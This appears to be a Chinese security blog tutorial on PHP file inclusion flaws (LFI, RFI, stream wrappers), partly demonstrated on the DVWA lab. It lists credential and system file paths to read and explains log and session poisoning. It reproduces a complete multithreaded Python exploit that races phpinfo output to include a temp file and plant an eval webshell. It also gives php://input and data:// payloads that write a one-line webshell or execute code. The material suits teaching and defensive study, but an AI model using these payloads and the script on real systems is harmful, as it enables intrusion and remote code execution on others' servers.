文件包含漏洞

1.0.0 简介

1.0.1 原理

当网站由于某些功能要将一个文件包含在另一个文件中时,且用户可以选择包含的文件,并写入恶意内容在被包含文件中就会出现文件包含漏洞,实质上也是恶意代码的执行

在PHP中常见的文件包含函数有

require() : 找不到被包含的文件会产生致命错误,并停止脚本运行
include() : 找不到被包含的文件只会产生警告,脚本继续执行
require_once()与require()类似 : 唯一的区别是如果该文件的代码已经被包含,则不会再次包含
include_once()与include()类似 : 唯一的区别是如果该文件的代码已经被包含,则不会再次包含

1.1.0 LFI (本地文件包含漏洞)

1.1.1 简介

当网页能够打开本地文件并包含,那么就称为LFI。例如

<?php
	$file=$_GET['filename'];
	include($file);
?>

这将打开所传参数的路径的文件并包含在页面中,那么我们就可以利用它查看一些敏感信息

1.1.2 前置知识

(1)使用绝对路径

一般当知道所需文件的准确路径时使用,例如对于路径相对固定的系统关键文件

(2)使用相对路径

当我们只知道文件的大致信息时,常用相对路径,例如一些特定名字的文件,在windows和Linux中都可以使用 ./ 表示当前路径,使用 ../表示上一级路径

(3)一些常见的敏感目录信息路径:
Windows系统:

C:\boot.ini //查看系统版本
C:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
C:\windows\repair\sam //存储Windows系统初次安装的密码
C:\ProgramFiles\mysql\my.ini //Mysql配置
C:\ProgramFiles\mysql\data\mysql\user.MYD //MySQL root密码
C:\windows\php.ini //php配置信息

Linux/Unix系统:

/etc/password //账户信息
/etc/shadow //账户密码信息
/usr/local/app/apache2/conf/httpd.conf //Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf //虚拟网站配置
/usr/local/app/php5/lib/php.ini //PHP相关配置
/etc/httpd/conf/httpd.conf //Apache配置文件
/etc/my.conf //mysql配置文件

1.1.3 用法

(1)与文件上传使用

找到上传点,再通过可以包含文件成功解析写入的木马,我们使用DVWA靶场为例将Security Level设置为低,找到上传点

这里就直接使用 phpinfo(); 测试了,上传木马文件后使用该页面包含

成功

(2)包含Apache日志文件

当网站使用Apache作为中间件而且没有上传点时,我们可以在Apache的日志文件中生成木马,再包含Apache的日志文件也可以实现一样的效果

使用条件:

  • 对Apache配置文件可读
  • 知道日志文件路径

当我们访问Apache服务器时,访问记录会被记录在access.log中,错误会被存储到error.log 中,当我们访问不存在的页面时,也同样会被记录,例如

日志中将会记录

然后再包含该日志文件即可

3)包含SESSION文件

先找到保存 SESSION 的文件,然后使用payload在文件中写入信息到 SESSION 中,再包含 SEESION 文件即可

利用条件:

  • 找到Session内的可控变量
  • Session文件可读写,并且知道存储路径

利用 phpinfo(); 查看SEESION文件路径

session常见存储路径:

/var/lib/php/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
session文件格式:sess_[phpsessid],而phpsessid在发送的请求的cookie字段中可以看到。

(4)包含临时文件

php中上传文件,会创建临时文件。在linux下使用/tmp目录,而在windows下使用C:\windows\temp目录。在临时文件被删除前,可以利用时间竞争的方式包含该临时文件。

利用过程

(1)发送包含了webshell的上传数据包给phpinfo页面,这个数据包的header、get等位置需要塞满垃圾数据

(2)因为phpinfo页面会将所有数据都打印出来,1中的垃圾数据会将整个phpinfo页面撑得非常大

(3)php默认的输出缓冲区大小为4096,可以理解为php每次返回4096个字节给socket连接

(4)所以,我们直接操作原生socket,每次读取4096个字节。只要读取到的字符里包含临时文件名,就立即发送第二个数据包

(5)此时,第一个数据包的socket连接实际上还没结束,因为php还在继续每次输出4096个字节,所以临时文件此时还没有删除

(6)利用这个时间差,第二个数据包,也就是文件包含漏洞的利用,即可成功包含临时文件,最终getshell

利用代码获取 PHP Varibles从而得到临时路径

import requests

files = {
  'file': ("aa.txt","ssss")
}
url = "http://x.x.x.x/phpinfo.php"
r = requests.post(url=url, files=files, allow_redirects=False)
print(r.text)

得到输出

Linux

Windows

但是在执行完这个任务后临时文件就删除了,知道文件名也不起用了,所以我们就要用到多线程操作,脚本取自网络

#!/usr/bin/python
#python version 2.7

import sys
import threading
import socket

def setup(host, port):
    TAG = "Security Test"
    PAYLOAD = """%sr
<?php file_put_contents('/tmp/Qftm', '<?php eval($_REQUEST[Qftm])?>')?>r""" % TAG
    # PAYLOAD = """%sr
    # <?php file_put_contents('/var/www/html/Qftm.php', '<?php eval($_REQUEST[Qftm])?>')?>r""" % TAG
    REQ1_DATA = """-----------------------------7dbff1ded0714r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"r
Content-Type: text/plainr
r
%s
-----------------------------7dbff1ded0714--r""" % PAYLOAD
    padding = "A" * 5000
    REQ1 = """POST /phpinfo.php?a=""" + padding + """ HTTP/1.1r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie=""" + padding + """r
HTTP_ACCEPT: """ + padding + """r
HTTP_USER_AGENT: """ + padding + """r
HTTP_ACCEPT_LANGUAGE: """ + padding + """r
HTTP_PRAGMA: """ + padding + """r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714r
Content-Length: %sr
Host: %sr
r
%s""" % (len(REQ1_DATA), host, REQ1_DATA)
    # modify this to suit the LFI script
    LFIREQ = """GET /index.php?file=%s HTTP/1.1r
User-Agent: Mozilla/4.0r
Proxy-Connection: Keep-Aliver
Host: %sr
r
r
"""
    return (REQ1, TAG, LFIREQ)

def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    s.connect((host, port))
    s2.connect((host, port))

    s.send(phpinforeq)
    d = ""
    while len(d) < offset:
        d += s.recv(offset)
    try:
        i = d.index("[tmp_name] =&gt; ")
        fn = d[i + 17:i + 31]
    except ValueError:
        return None

    s2.send(lfireq % (fn, host))
    d = s2.recv(4096)
    s.close()
    s2.close()

    if d.find(tag) != -1:
        return fn

counter = 0

class ThreadWorker(threading.Thread):
    def __init__(self, e, l, m, *args):
        threading.Thread.__init__(self)
        self.event = e
        self.lock = l
        self.maxattempts = m
        self.args = args

    def run(self):
        global counter
        while not self.event.is_set():
            with self.lock:
                if counter >= self.maxattempts:
                    return
                counter += 1

            try:
                x = phpInfoLFI(*self.args)
                if self.event.is_set():
                    break
                if x:
                    print "nGot it! Shell created in /tmp/Qftm.php"
                    self.event.set()

            except socket.error:
                return

def getOffset(host, port, phpinforeq):
    """Gets offset of tmp_name in the php output"""
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    s.send(phpinforeq)

    d = ""
    while True:
        i = s.recv(4096)
        d += i
        if i == "":
            break
        # detect the final chunk
        if i.endswith("0rnrn"):
            break
    s.close()
    i = d.find("[tmp_name] =&gt; ")
    if i == -1:
        raise ValueError("No php tmp_name in phpinfo output")

    print "found %s at %i" % (d[i:i + 10], i)
    # padded up a bit
    return i + 256

def main():
    print "LFI With PHPInfo()"
    print "-=" * 30

    if len(sys.argv) < 2:
        print "Usage: %s host [port] [threads]" % sys.argv[0]
        sys.exit(1)

    try:
        host = socket.gethostbyname(sys.argv[1])
    except socket.error, e:
        print "Error with hostname %s: %s" % (sys.argv[1], e)
        sys.exit(1)

    port = 80
    try:
        port = int(sys.argv[2])
    except IndexError:
        pass
    except ValueError, e:
        print "Error with port %d: %s" % (sys.argv[2], e)
        sys.exit(1)

    poolsz = 10
    try:
        poolsz = int(sys.argv[3])
    except IndexError:
        pass
    except ValueError, e:
        print "Error with poolsz %d: %s" % (sys.argv[3], e)
        sys.exit(1)

    print "Getting initial offset...",
    reqphp, tag, reqlfi = setup(host, port)
    offset = getOffset(host, port, reqphp)
    sys.stdout.flush()

    maxattempts = 1000
    e = threading.Event()
    l = threading.Lock()

    print "Spawning worker pool (%d)..." % poolsz
    sys.stdout.flush()

    tp = []
    for i in range(0, poolsz):
        tp.append(ThreadWorker(e, l, maxattempts, host, port, reqphp, offset, reqlfi, tag))

    for t in tp:
        t.start()
    try:
        while not e.wait(1):
            if e.is_set():
                break
            with l:
                sys.stdout.write("r% 4d / % 4d" % (counter, maxattempts))
                sys.stdout.flush()
                if counter >= maxattempts:
                    break
        print
        if e.is_set():
            print "Woot!  m/"
        else:
            print ":("
    except KeyboardInterrupt:
        print "nTelling threads to shutdown..."
        e.set()

    print "Shuttin' down..."
    for t in tp:
        t.join()

if __name__ == "__main__":
    main()

1.2.0 RFI(远程文件包含)

如果PHP的配置选项allow_url_includeallow_url_fopen状态为ON的话,则include/require函数是可以加载远程文件的,这种漏洞被称为远程文件包含(RFI),例如

<?php
	$path=$_GET['path'];
	include($path . '/phpinfo.php');
?>

那么我们通过GET传递path参数包含我们本地的phpinfo文件

1.3.0 PHP伪协议

常见的PHP伪协议:

1 file:// — 访问本地文件系统
2 http:// — 访问 HTTP(s) 网址
3 ftp:// — 访问 FTP(s) URLs
4 php:// — 访问各个输入/输出流(I/O streams)
5 zlib:// — 压缩流
6 data:// — 数据(RFC 2397)
7 glob:// — 查找匹配的文件路径模式
8 phar:// — PHP 归档
9 ssh2:// — Secure Shell 2
10 rar:// — RAR
11 ogg:// — 音频流
12 expect:// — 处理交互式的流

下面只例举常用的几种

1.3.1 file://协议

file:// 协议可以用于访问本地文件而且不受allow_url_fopen和allow_url_include两个配置的影响

用法:

file:// [文件的绝对路径和文件名]

1.3.2 php://协议

php:// 访问各个输入/输出流(I/O streams),不需要开启allow_url_fopen,仅php://input、 php://stdin、 php://memory 和 php://temp 需要开启allow_url_include

通常使用php://filter用于读取base64加密源码,php://input用于执行php代码。

php://filter用法

php://filter/convert.base64-encode/resource=文件路径

通过base64加密的代码就不会再被执行,就可以看到完整源代码

php://input用法

php://input 可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。从而导致任意代码执行。

例如在使用 时,加上POST数据

<?php fputs(fopen(“shell.php”,”w”),’<?php eval($_POST["cmd"];?>’);?>

那么将会向靶机写入一个名为shell.php的一句话木马

1.3.3 zip://,bzip2://, zlib://协议

zip://协议可以用来读取压缩包内的子文件,并且不需要指定后缀名,可以修改为任意后缀名,如 jpg,png,gif,xxx等

zip://用法

zip:// [压缩文件绝对路径]#[压缩文件内的子文件名]

但是由于#在get请求中会将后面的参数忽略所以使用get请求时候应进行url编码为%23,例如

http://127.0.0.1/include.php?file=zip://D:\1.zip%23phpinfo.txt

bzip2://用法

与zip://协议相似,bzip2://协议也支持任意后缀名

compress.bzip2://file.bz2

例如:

http://127.0.0.1/cmd.php?file=compress.bzip2://./file.jpg

zlib://用法

也与zip://用法相似,支持任意后缀名

compress.zlib://file.gz

例如:

http://127.0.0.1/cmd.php?file=compress.zlib://./file.jpg

1.3.4 data://协议

同样类似与php://input,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行。从而导致任意代码执行。

使用条件

allow_url_fopen :on

allow_url_include:on

用法:

data://text/plain,<?php phpinfo();?>

例如:

http://127.0.0.1/include.php?file=data:text/plain,<?php phpinfo()?>

总结

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇